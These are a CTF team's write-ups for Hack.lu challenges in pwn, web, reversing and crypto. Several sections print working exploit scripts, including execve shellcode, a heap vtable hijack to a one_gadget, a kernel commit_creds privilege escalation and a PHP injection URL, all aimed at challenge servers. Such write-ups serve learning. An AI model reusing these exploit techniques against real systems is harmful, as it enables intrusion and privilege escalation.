Hack.lu Writeups by emmmm

emmmm, we are team based on USTC&BUPT&HIT&M4x

PWN

Baby Kernel

This is a simple kernel pwn challenge. We are able to call some function with arguments. And there is no KASLR from hints. So we call commit_creds(prepare_kernel_cred(0)) to get root then we can read flag.

babykernel bat solve.py 
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: solve.py
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    #!/usr/bin/env python
   2    # -*- coding: utf-8 -*-
   3    
   4    from pwn import *
   5    
   6    vmlinux = ELF("./vmlinux", checksec = False)
   7    
   8    pkc = vmlinux.sym['prepare_kernel_cred']
   9    print "pkc: ", pkc
  10    cc = vmlinux.sym['commit_creds']
  11    print "cc: ", cc
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
babykernel python solve.py 
pkc:  18446744071579168336
cc:  18446744071579167184
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=1000(user) gid=1000(user) groups=1000(user)
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
random: fast init done
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
> 
18446744071579168336
There is a good chance we will want to pass an argument?
> 
0
Got call address: 0xffffffff8104ee50, argument: 0x000000
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104ee50 as funt
A miracle happened. We came back without crashing! I ev.
It is: ffff88000212c0c0
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
> 
18446744071579167184
There is a good chance we will want to pass an argument?
> 
18446612132349001920 
Got call address: 0xffffffff8104e9d0, argument: 0xffff80
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104e9d0 as funt
A miracle happened. We came back without crashing! I ev.
It is: 0000000000000000
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=0(root) gid=0(root)
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 3
Which file are we trying to read?
> /flag
Here are your 0xf bytes contents: 
flag{testflag}

baby exploit

modify the jump offset to input, and we can control 7 bytes, so we first use 7 byte to make a read syscall to read the shellcode , and then jump to the shellcode.

from pwn import *

context.arch = 'amd64'

sc = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x00"


def decrypt(s):
    sc_list = map(ord, list(s))
    for i in range(len(sc_list) - 2, -1, -1):
      sc_list[i] = sc_list[i+1] ^ sc_list[i]
    sc =  eval(repr(''.join(map(chr, sc_list))))
    return sc




# io = process('./chall')
# io = process('./modified')
io = remote("arcade.fluxfingers.net", 1807)

io.recvuntil("want to flip")
io.sendline("0xbc")
io.recvuntil("byte-offset")
io.sendline("3")
io.recvuntil("win:")

asm_code = '''
pop rax
pop rdx
pop rax
xor edi, edi
syscall
'''

code = asm(asm_code)
log.info(code +  "length: " + str(len(code)))

payload = decrypt('a'*(0x2e - 7) + code)
payload2 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + sc
# sleep(0.5)
io.send(payload)
sleep(0.5)
io.sendline(payload2)
io.interactive()

heap_heaven_2

The program mmap a heap whose size is 0x2000, and it provide some choices that we can do on the heap, such as write some bytes on it, free some of it into tcache or bins(need to use write choice to fake heap on it) and choose a offset on the heap and get the value as a point to print(need to write first also). And the program malloc a heap called state and place a vtable point in it(*state = vtable), the vatble has two function point, one is menu, the other is bye(*vtable=&bye,*(vtable+8)=&menu), menu function is called every time the loop.

After know that, we can easily leak the address of libc、heap and the mmaped heap by faking some heap and free them into fastbin and unsortbin(i didn't do them by using tcache because my local environment dosen't have tcache).

The free choice dosen't check the address is within the mmaped heap or not. So we can free arbitrary address, our target is state, state is a fastbin of size 0x20,we can hijack state->fd point to a fake heap we free into fastbin before it, vtable places in state->fd, and i pce one_gadget in the fake heap. After that, when the program call menu *((state->vtable)+8)(), it will call one_gadget.

from pwn import*

def write_heap(length, offset, data):
    p.recvuntil("[5] : exit\n")
    p.sendline("1")
    p.recvuntil("How much do you want to write?\n")
    p.sendline(str(length))
    p.recvuntil("At which offset?")
    p.sendline(str(offset))
    sleep(1)
    p.send(data)

def free_heap(offset):
    p.recvuntil("[5] : exit\n")
    p.sendline("3")
    p.recvuntil("At which offset do you want to free?\n")
    p.sendline(str(offset))

def leak_heap(offset):
    p.recvuntil("[5] : exit\n")
    p.sendline("4")
    p.recvuntil("At which offset do you want to leak?\n")
    p.sendline(str(offset))
    p.recvuntil("a"*16)
    addr = u64(p.recv(6).ljust(8,'\x00'))
    return addr

def leak_heap1(offset):
    p.recvuntil("[5] : exit\n")
    p.sendline("4")
    p.recvuntil("At which offset do you want to leak?\n")
    p.sendline(str(offset))
    addr = u64(p.recv(6).ljust(8,'\x00'))
    return addr

#p = process("./heap_heaven_2")
p = remote("arcade.fluxfingers.net",1809)

x = (p64(0x00) + p64(0x21) + "2"*0x10 + p64(0x00) + p64(0x91) + "1"*0x80)*8
write_heap(len(x),0x1000,x)
free_heap(0x1000+0x10)
free_heap(0x1000+0x10+0xb0)
free_heap(0x1000+0x10+0xb0*2)
free_heap(0x1000+0x10+0xb0*3)
free_heap(0x1000+0x10+0xb0*4)
free_heap(0x1000+0x10+0xb0*5)
free_heap(0x1000+0x10+0xb0*6)

heap1 = p64(0x00) + p64(0x21) + "1"*0x10
heap2 = p64(0x00) + p64(0x21) + "2"*0x10 
heap3 = p64(0x00) + p64(0x421) + "3"*0x410
heap4 = p64(0x00) + p64(0x21) + "4"*0x10
heap5 = p64(0x00) + p64(0x21) + "5"*0x10
heap6 = p64(0x00) + p64(0x31) + "6"*0x20

data1 = heap1 + heap2 + heap3 + heap4 + heap5 + heap6
data2 = "a"*16

write_heap(len(data1),0,data1)
write_heap(len(data1),0x800,data1)
write_heap(len(data1),0x1800,data1)
free_heap(0x1800 + len(heap1) + 0x10)   #heap2
free_heap(0x1800 + len(heap1 + heap2 + heap3) + 0x10) #heap4
free_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10)#heap5

write_heap(len(data2),0x1800+len(heap1 + heap2 + heap3),data2)
mmap = leak_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10) & 0xFFFFFFFFFF
mmap -= len(heap1)
mmap -= 0x1800
print "mmap: " + hex(mmap)

free_heap(len(heap1 + heap2) + 0x10)#heap3
addr2 = leak_heap1(len(heap1 + heap2) + 0x10)
heap = addr2 - 0x290
print "heap: " + hex(heap)

free_heap(len(heap1 + heap2) + 0x10 + 0x800)
write_heap(17,len(heap1 + heap2),"a"*17)
addr1 = leak_heap(len(heap1 + heap2) + 0x10 + 0x800) &0xffffffffff00
libc = addr1 - 0x01BEB00
one = 0xe75f0
one += libc
print "libc:" + hex(libc)

write_heap(len(p64(heap+0x290-0x10)),0x700,p64(heap+0x290-0x10))
func = leak_heap1(0x700)
print hex(func)

write_heap(len(p64(one))*2,0x1800 + len(heap1 + heap2 + heap3 + heap4),(p64(one)*2))
target = heap + 0x290 -0x30
free_heap(target - mmap)
p.interactive()

WEB

babyphp

https://arcade.fluxfingers.net:1819/?msg=data:text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337x&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=emmm&k1=2&bb=var_dump($flag);//
flag{7c217708c5293a3264bb136ef1fadd6e}

REVERSE

1-bit-missile

We know that it is a bios rom from the result of strings ./rom.

So we run it using qemu-system-i386 -nographic -bios ./rom and debugging with qemu-system-i386 -nographic -bios ./rom -s -S.

After attaching to the rom, we're able to dump the code in gdb using dump binary memory dump.bin 0x100000 0xffffff

we know the start address is 0x100000 because "Jumping to boot code at 00100000(07fd7000)"

Then we open dump.bin with IDA and rebase it to 0x100000. After searching strings, we find an interesting function like:

void __cdecl __noreturn sub_10009E(char a1)
{
  char *a1a; // [esp+4h] [ebp-14h]

  print("FLAG if hit confirmed:");
  if ( (unsigned int)(data[19] ^ data[24]) < data[32] || (unsigned int)(data[19] ^ data[24]) > data[33] )
  {
    print("address out of scope!");
    sub_100160();
  }
  a1a = (char *)malloc(64);
  copy_str(a1a, (char *)(data[19] ^ data[24]));
  if ( *a1a )
    print(a1a);
  else
    print("MISSED!");
  sub_100160();
}

So we set a breakpoint at 0x100128, which is:

seg000:00100122                 push    [ebp+a2]        ; a2
seg000:00100125                 push    [ebp+a1]        ; a1
seg000:00100128                 call    copy_str
seg000:0010012D                 add     esp, 10h

When we take a look in the debugger, we found the arg2 in copy_str points NULL, that's why the rom always prints MISSED!.

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────[ REGISTERS ]──────────────────────
 EAX  63 —▸ 0 ◂— 0x0
 EBX  0x7ff3798 —▸ 0x7fef0d9 —▸ 0x505f5342 —▸ 0 ◂— 0x0
 ECX  0x1086e8 —▸ 0x26c0 —▸ 0 ◂— 0x0
 EDX  0 ◂— 0x0
 EDI  0x100000 —▸ 0x906622eb —▸ 0 ◂— 0x0
 ESI  0x1b8 —▸ 0 ◂— 0x0
 EBP  0x10d498 —▸ 0x7ff4fd8 —▸ 0xa0000 —▸ 0 ◂— 0x0
 ESP  0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
 EIP  0x100128 —▸ 0x3d68e8 —▸ 0 ◂— 0x0
───────────────────────[ DISASM ]───────────────────────
  0x100128    call   0x103e95

   0x10012d    add    esp, 0x10
   0x100130    mov    eax, dword ptr [ebp - 0x14]
   0x100133    movzx  eax, byte ptr [eax]
   0x100136    test   al, al
   0x100138    jne    0x10014c

   0x10013a    sub    esp, 0xc
   0x10013d    push   0x10500d
   0x100142    call   0x103ca3

   0x100147    add    esp, 0x10
   0x10014a    jmp    0x10015a
───────────────────────[ STACK ]────────────────────────
00:0000│ esp  0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
01:0004│      0x10d474 —▸ 0xc8000 —▸ 0 ◂— 0x0
02:0008│      0x10d478 —▸ 63 —▸ 0 ◂— 0x0
03:000c      0x10d47c —▸ 1 —▸ 0 ◂— 0x0
04:0010│      0x10d480 —▸ 0x1b8 —▸ 0 ◂— 0x0
05:0014│      0x10d484 —▸ 0x1086a8 —▸ 0 ◂— 0x0
06:0018│      0x10d488 —▸ 0xc8000 —▸ 0 ◂— 0x0
07:001c      0x10d48c —▸ 64 —▸ 0 ◂— 0x0
Breakpoint *0x100128
pwndbg> x/s 0xc8000
0xc8000:    ""

So we search flag and found that:

pwndbg> find /w 0xa0000, 0xe0000, 0x67616c66
0xc0000
1 pattern found.
pwndbg> x/3s 0xc0000
0xc0000:    "flag{xxxxxxxxxx"...
0xc000f:    'x' <repeats 15 times>...
0xc001e:    "xxxxxx}"

Clearly, if we change data[19] ^ data[24] == 0xc0000, we will get flag.

There are two options:

  1. modify 0xef5a3f92 to 0xef5abf92(data[24])
  2. modify 0xef56bf92 to 0xef563f92(data[19])

Finally, option 2 works.

1-bit-missile nc arcade.fluxfingers.net 1816
Enter target byte [0 - 262143]: 194401
]> 10111111 <[
Enter target bit: [0 - 7]: 7
}X> ---------------------------------------{0}
]> 00111111 <[
......
flag{only_cb_can_run_this_simple_elf}

babyre

The program do a simple sequential xor encryption to our input and compare it with a const string. Just decrypt it to get flag

enc = "\x0a\x0d\x06\x1c\"8\x18&6\x0f9+\x1cYB,6\x1a,&\x1c\x17-9WC\x01\x07+8\x09\x07\x1a\x01\x17\x13\x13\x17-9\x0a\x0d\x06F\\}"
encl = map(ord, list(enc))
for i in range(len(encl) - 2, -1, -1):
    encl[i] = encl[i+1] ^ encl[i]
print repr(''.join(map(chr, encl)))

forgetful commander

The program has encrypted code. And the check function is called after __libc_start_main function.
The entry function compare /proc/self/exe and /proc/self/maps to get the address where program is loaded. After that, program decrypt itself and start to execute decrypted code.
I debug the program and find the verification happens in the function at offset 0x2190. Just reverse it.
The decryption is quite simple as below.

enc = "\xdf\x98\xe2\x08\xcc\xbb\xeb\xac\x8c\xb2\xaa\xca\x85\xe3\xb2]\xea\x87\x99\xc1Kx\xb8\xe9\xea\x1d^\xd5S\xf8\x0f\x09\xd9\xde\x05|i\x1am\xbdo\x8c4\xd4tN\x1c$]\x83\x1dJ\xa7\xc8l\xc2C\xb6"
table = 'O\xb0\xab6\x1e\xb9Y\x88\xa1\xe1\xf4\xef/\x97w\x834\xa8\xe1po,\xbe\x06\xc6\xb7\xd2\xa3$\x1e\xf1x\xed\xdcO\x9e\xa0\xb2\xf6\x10\xdf\xbe3\xb4\x88\xf8\xeb\xe2\xc0\x1c\xed\x07\x0e\xe5\xb4\xde\x07\xeej\\\xb3\xe87q\x8b\xf5n\xf33\xf0\x86P\xf5\x15\x8b\xed\x84w\x1e{\x02\xe0V^\x93\xba\x1a\x8c\x0f\xd2\xeb\x16\xb3\x83\x98\xfc\xd2\x81\x87\xf3\xa0\'ZO\xe28o\xa0l\xdd\x1d\x11ei\xde\xe7\'\x89\xe2\x95\xb6H9\x00\xf1\x8b`\x1f\xfd\x8bs\x8f}h\xd7:\x19m:\x02\x8a\xc5\x90%\x8c\'wt\x8c\xeb\x90\x1fz%\xf8ja\x8cL\xa6V\x0c\xfbJe\xb4\xeb\x12\x9d\'\xb7B\x8d\x9d\xecv\x96\x8e\xca\x86\x0f\xb2\xc4\x14\x9f\x05\xba\xa7Cz\x7f+\xf936\x1e\xcfUc\x8a\xe2;h\x02?\x18\xd9\xbbm\x8d\xe5K\xbe\x8flX\x1d\xfe\x17b\xb8\xa6\x8f\xb0\xf7+\x14\xc0\xb6\xf0,%\x02/+y\xd8AfR{\xc6\x88rG1\x0c7n4\xe2,\xd4\x95Ch\t&\xbb\x93$?ZfA\xc4\xdc\xaf\xf4\xa2\xa0\x00U#\x1a\t<Q\xa0\xfa\xa6\xdaL)Zm$\x94\x98`\xcb\x19N\xe72|\x98Ln\n!\xcd\x8e\xa8ss\x15\x0bU\xad\xb9"S#3?(\xb5PdV\xc8]N\x89*_\xe5\x94\xe6{\xc4\x15\x1bBpK\x19\x0f\xec\rO\x9a\x1fm?\x10\x1e\x03\x98\x8b\x1bV"'
for j in range(0x40):
    res = ''
    for i in range(0x3a):
        res += chr(ord(enc[i]) ^ ord(table[j + i * 5]))
    print res

Note that the value of j is decided by following code. The result is relative to trapped flag(0x100). If the program is under debug the value of j is 0x40, ohterwise it's 5. I just brutefore it XD.

0x00002222      9c             pushfd
0x00002223      5a             pop edx
0x00002224      89d1           mov ecx, edx
0x00002226      81e100010000   and ecx, 0x100
0x0000222c      31ca           xor edx, ecx
0x0000222e      c1c902         ror ecx, 2
0x00002231      31ca           xor edx, ecx
0x00002233      52             push edx
0x00002234      89c2           mov edx, eax
0x00002236      9d             popfd
0x00002237      0f44d1         cmove edx, ecx // j

Snake

This challenge is about QT Reverse engineering. The snake game is not verified until we enter a valid license.
It's easy to find the verification by searching error message 'This is a valid License'. The program will decrypt a png encrypted with AES if the license is valid. So we need to find the correct input.
The check function is a QT slot function, which is triggered by relative signal function(fileoffset 0x40E0). The signal function will call activate, which will find slot function with data stored in QMetaObject, and then call it.

There are two way to find the slot function:

  1. debug into activate function and find the call
  2. find with QMetaObject just as QT does.
    I choose the first way and find the check function at fileoffset 0x6190

    Not very complicated, decrypt it:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int enc_byte(c, magic) {
    char tmp = ((magic >> 2) | (magic << 6)) ^ 0xAE;
    tmp = ((tmp << 5) | (tmp >> 3)) ^ 0x66;
    char res = c ^ ~((tmp >> 1) | (tmp << 7) | (c >> 4));
    return res;
}

int decrypt(char *enc, char *buf, char fb) {
    char magic = fb;
    int i, j;
    size_t nbytes = strlen(enc);
    printf("decrypting %d bytes\n", nbytes);

    for (i = 0; i < nbytes; i++) {
        for (j = 0x20; j < 0x7f; j++) {
            if (enc_byte(j, magic) == enc[i]) {
                buf[i] = j;
                magic = ~enc[i];
                break;
            }
        }
    }
    return 0;
}

int main() {
    char s[] = {1, 0x95, 'f', '>', 0x1b, 'V', 'd', ',', '(', '\n', 0x9a, 4, 0xad, 0xc, 0xc8, 0xd9, 0};
    char res[0x100] = {0};
    int fb;
    for (fb = 0x20; fb < 0x7f; fb++) {
        if (enc_byte(fb, fb) == s[0]) {
            printf("first byte: 0x%x\n", fb);
            break;
        }
    }
    decrypt(s, res, fb);
    puts(res);
    return 0;
}

and we get a license 1Lov3oldArc4de!!
enter it, and dump the png from memory(need dereference to some pointers of QT object, but not very hard).

CRYPTO

Relations

Relations (Category: Crypto)

Author(s): kai Solves: 73
Difficulty: easy

Two completely unrelated operations on completely unrelated values, right? 

nc arcade.fluxfingers.net 1821

This task just is a service about AEC-ECB encrypt the flag and give back the base64 encoded ciphertext. The key changes every time.
Let us have a look at the service.

$ nc arcade.fluxfingers.net 1821
------------------------------
Welcome to theory world
------------------------------

------------------------------
Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
XOR

Please choose the operand in hex >>> 00
Ciphertext is  01CbySNWb0TnVv/V6M7NVF229tgcV7QDEY6CIG5oyrcq47Z3eaVYKDzmj1a+MG6umsx106NgRvCf
b6uimScNcw==

------------------------------
Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
ADD

Please choose the operand in hex >>> 00
Ciphertext is  01CbySNWb0TnVv/V6M7NVF229tgcV7QDEY6CIG5oyrcq47Z3eaVYKDzmj1a+MG6umsx106NgRvCf
b6uimScNcw==

------------------------------
Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
DEC

Enter the key base64 encoded >>> YWFhYWFhYWFhYWFhYWFhYQ==
Decryption is  �۔N\_@aֹs�������`4-U/~:������H��������~8�]�%
------------------------------
Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
DEC

Enter the key base64 encoded >>> 111
Traceback (most recent call last):
  File "/home/chall/rka.py", line 113, in <module>
    main()
  File "/home/chall/rka.py", line 106, in main
    key = choose_key()
  File "/home/chall/rka.py", line 64, in choose_key
    return base64.decodestring(key)
  File "/usr/lib/python2.7/base64.py", line 328, in decodestring
    return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
^C

$ nc arcade.fluxfingers.net 1821
------------------------------
Welcome to theory world
------------------------------

------------------------------
Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
DEC

Enter the key base64 encoded >>> ABCD
Traceback (most recent call last):
  File "/home/chall/rka.py", line 113, in <module>
    main()
  File "/home/chall/rka.py", line 107, in main
    aes = pyaes.AESModeOfOperationECB(key)
  File "/home/chall/pyaes/aes.py", line 304, in __init__
    self._aes = AES(key)
  File "/home/chall/pyaes/aes.py", line 134, in __init__
    raise ValueError('Invalid key size')
ValueError: Invalid key size

So the ADD,XOR is for the key,and the key size is 16 bytes, you can check it by XOR "10"+"00"*16 and xor "10", and no overflow with the key, I think it may first XOR or ADD, then &"ff"*16. we can query the oracle byte by byte to get the key, for example if base64(aes_ecb(byteA^key))==base64(aes_ecb(byteA+key)), we can get the one byte key at that position.But this is the single function, we might get more than one key. Just limit the key range and decrypt the cipher offline.
script to get the last 15 byte possible key and ciphertext.

from pwn import *
from base64 import b64decode,b64encode
import sys

#context.log_level = "debug"

io = remote("arcade.fluxfingers.net",1821)

def server(commmand,number):
    io.recvuntil("-----------------------------*\n")
    io.sendline(commmand)
    io.recvuntil("Please choose the operand in hex >>> ")
    io.sendline(number)
    data = io.recvuntil("------------------------------\n")
    return data.split("Ciphertext is  ")[1].split("\n")[0]

def xor_add(xor_key,add_key):
    byte = []
    for i in range(0,256):
        for loop in range(0,len(xor_key)):
            if i^xor_key[loop] != i + add_key[loop]:
                break
            if loop ==len(xor_key)-1:
                byte.append(chr(i))
    print repr(byte)
    return byte

key = []
io.recvuntil("-----------------------------*\n")
io.sendline("XOR")
io.recvuntil("Please choose the operand in hex >>> ")
io.sendline("00")
data = io.recvuntil("------------------------------\n")
print data
for loop in range(0,15):
    flag = False
    xor_aes_result=[]
    add_aes_result=[]
    xor_key=[]
    add_key=[]
    for i in range(1,256):
        xor_aes_result.append(server("XOR",hex(i)+loop*"00"))
    for j in range(1,256):
        data = server("ADD",hex(j)+loop*"00")
        if data in xor_aes_result:
            xor_key.append(xor_aes_result.index(data)+1)
            add_key.append(j)
            flag = True
    # print xor_key,add_key
    if flag:
        key.append(xor_add(xor_key,add_key))
    else:
        key.append(["\xff"])
    print key

brute force offline

from base64 import b64decode

c = b64decode("56mMyXpFGdMr48rfyehvxjsuRogij8qydacuhGgDlUepmmnsPnh9hSpfHq9nh/0BSWOkCCt95nQ7JxUmX/0JCg==")

key = [['M'], ['M'], ['Y'], ['\x04', '\x14', '$', '4', 'D', 'T', 'd', 't', '\x84', '\x94', '\xa4', '\xb4', '\xc4', '\xd4', '\xe4', '\xf4'], ['g'], ['@'], ['\n', '*', 'J', 'j', '\x8a', '\xaa', '\xca', '\xea'], ['C'], ['\x05', 'E', '\x85', '\xc5'], ['\x1d'], ['$', '\xa4'], [':'], ['(', '\xa8'], ['\x06'],['\x1d', '\x9d'],['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'",
 '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8', '\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', '\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5', '\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', '\xc0', '\xc1', '\xc2', '\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf', '\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc', '\xdd', '\xde', '\xdf', '\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9', '\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', '\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6', '\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff']]
for key0 in key[0]:
    for key1 in key[1]:
        for key2 in key[2]:
            for key3 in key[3]:
                for key4 in key[4]:
                    for key5 in key[5]:
                        for key6 in key[6]:
                            for key7 in key[7]:
                                for key8 in key[8]:
                                    for key9 in key[9]:
                                        for key10 in key[10]:
                                            for key11 in key[11]:
                                                for key12 in key[12]:
                                                    for key13 in key[13]:
                                                        for key14 in key[14]:
                                                            for key15 in key[15]:
                                                                k = key0+key1+key2+key3+key4+key5+key6+key7+key8+key9+key10+key11+key12+key13+key14+key15
                                                                aes = pyaes.AESModeOfOperationECB(k[::-1])
                                                                print k[::-1]
                                                                m = aes.decrypt(c[:16])+aes.decrypt(c[16:32])+aes.decrypt(c[32:48])+aes.decrypt(c[48:64])
                                                                if "flag" in m:
                                                                    print m
                                                                    exit(1)
#flag  flag{r3l4t3d_k3y_der1iviNg_fuNct1on5_h4ve_to_be_a_l1mit3d_cla55}

Multiplayer Part 1

description
Multiplayer Part 1 (Category: Crypto)

Author(s): asante, kai Solves: 40
Difficulty: medium

Can you get the pole position of this elliptic racing curve contactless?

nc arcade.fluxfingers.net 1822

Download

three files named parameters.sage,server.sage and points.db.

parameters.sage

param = {   "hacklu":
            ((889774351128949770355298446172353873, 12345, 67890),
            # Generator of Subgroup of prime order 73 bits, 79182553273022138539034276599687 to be excact
            (238266381988261346751878607720968495, 591153005086204165523829267245014771),
            # challenge Q = xP, x random from [0, 79182553273022138539034276599687)
            (341454032985370081366658659122300896, 775807209463167910095539163959068826)
            )
        }

serverAdress = '0.0.0.0'
serverPort = 23426

(p, a, b), (px, py), (qx, qy) = param["hacklu"]
E = EllipticCurve(GF(p), [a, b])
P = E((px, py))
Q = E((qx, qy))

server.sage

import asyncore, socket, json, sqlite3, time

FLAG1 = "flag{XXXXXXXXXXX}"
POINT_TRESHOLD = 200

def json_response(code, additional_parameter=""):
    response_codes = {
        0 : "Point added",
        1 : "Collision found",
        2 : "Point already included",
        3 : 'Wrong input format. Please provide a string like this: {"x": val, "y": val, "c": val, "d": val, "groupID": val})',
        4 : "Value mismatch! X != c*P + d*Q",
        5 : "Server Error"
    }
    return '{"Response": "%d", "Message": "%s"%s}' % (code, response_codes[code], additional_parameter)


# Teams should choose a non-guessable groupID
def get_response(x, y, c, d, groupID):
    # open connection to database
    conn = sqlite3.connect("points.db")
    conn.row_factory = sqlite3.Row
    conn_cursor = conn.cursor()

    # convert sage integers to string to avoid "Python int too large for SQLite INTEGER"
    x = str(x)
    y = str(y)
    c = str(c)
    d = str(d)

    # Select records that map to the same X value
    conn_cursor.execute("SELECT * FROM points WHERE x = :x", {"x": x})
    query = conn_cursor.fetchall()
    # No record found -> Point is not yet included
    if len(query) == 0:
        # Insert point into database
        conn_cursor.execute("INSERT INTO points (x, y, c, d, groupID) VALUES (?, ?, ?, ?, ?)",
                  (x, y, c, d, groupID))
        # Get number of points added by this group
        conn_cursor.execute("SELECT x FROM points WHERE groupID = :gID", {"gID": groupID})
        points_found = conn_cursor.fetchall()
        add_param = ', "points_found": %d' % len(points_found)
        # When they found POINT_TRESHOLD distinguished points and a collision occured, return the colliding values as well
        if len(points_found) > POINT_TRESHOLD:
            add_param += ', "flag1": "%s"' % FLAG1
            if server.collision_found:
                # compute x from the collision, second flag is just x (not in flag format)
                add_param += ', "collision": %s' % (server.collision)
        response = json_response(0, add_param)
    else:
        # One (or more) records found -> check if they have the same exponents
        is_included = False
        for row in query:
            if row["c"] == c and row["d"] == d:
                is_included = True
                response = json_response(2)
                break

        if not is_included:
            # Exponents are different -> Collision found, add this point
            conn_cursor.execute("INSERT INTO points (x, y, c, d, groupID, collision) VALUES (?, ?, ?, ?, ?, 1)",
                      (x, y, c, d, groupID))
            # Get number of points added by this group
            conn_cursor.execute("SELECT x FROM points WHERE groupID = :gID", {"gID": groupID})
            points_found = conn_cursor.fetchall()
            add_param = ', "points_found": %d' % len(points_found)
            # add collision
            server.collision_found = True
            server.collision = '{"c_1": %s, "d_1": %s, "c_2": %s, "d_2": %s}' % (c, d, row["c"], row["d"])
            if len(points_found) > POINT_TRESHOLD:
                add_param += ', "collision": %s' % (server.collision)
            else:
                add_param += ', "collision": "collision found but not enough distinguished points submitted yet"'

            response = json_response(1, add_param + ', "c": %s, "d": %s' % (row["c"], row["d"]))

    # close db connection and return response
    conn.commit()
    conn_cursor.close()
    conn.close()
    return response


class DLogHandler(asyncore.dispatcher_with_send):

    def handle_read(self):
        try:
            json_data = self.recv(8192)
            if not json_data:
                return

            data = json.loads(json_data)
            print data
            # check if the format is correct
            if not ("x" in data and "y" in data and "c" in data and "d" in data and "groupID" in data):
                response = json_response(3)
            else:
                c = Integer(data["c"])
                print c
                d = Integer(data["d"])
                x = Integer(data["x"])
                y = Integer(data["y"])
                print y
                X = E((x, y))
                print X
                print data
                print X
                if X == c*P + d*Q:
                    print data
                    response = get_response(data["x"], data["y"], data["c"], data["d"], data["groupID"])
                else:
                    print("expected %s = %d*%s + %d*%s, but got %s" % (c*P + d*Q, c, P, d, Q, X))
                    response = json_response(4)

            self.send(response)

        except Exception as e:
            response = json_response(5, ', "Error Message": "%s"' % e)


class Server(asyncore.dispatcher_with_send):

    def __init__(self, host, port):
        asyncore.dispatcher.__init__(self)
        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
        self.set_reuse_addr()
        self.bind((host, port))
        self.listen(5)
        # variable to store some collision
        self.collision_found = False
        self.collision = {}

    def handle_accept(self):
        pair = self.accept()
        if pair is not None:
            sock, addr = pair
            print("incoming connection from %s" % repr(addr))
            DLogHandler(sock)


if __name__ == '__main__':

    load("parameters.sage")
    server = Server(serverAdress, serverPort)
    asyncore.loop()

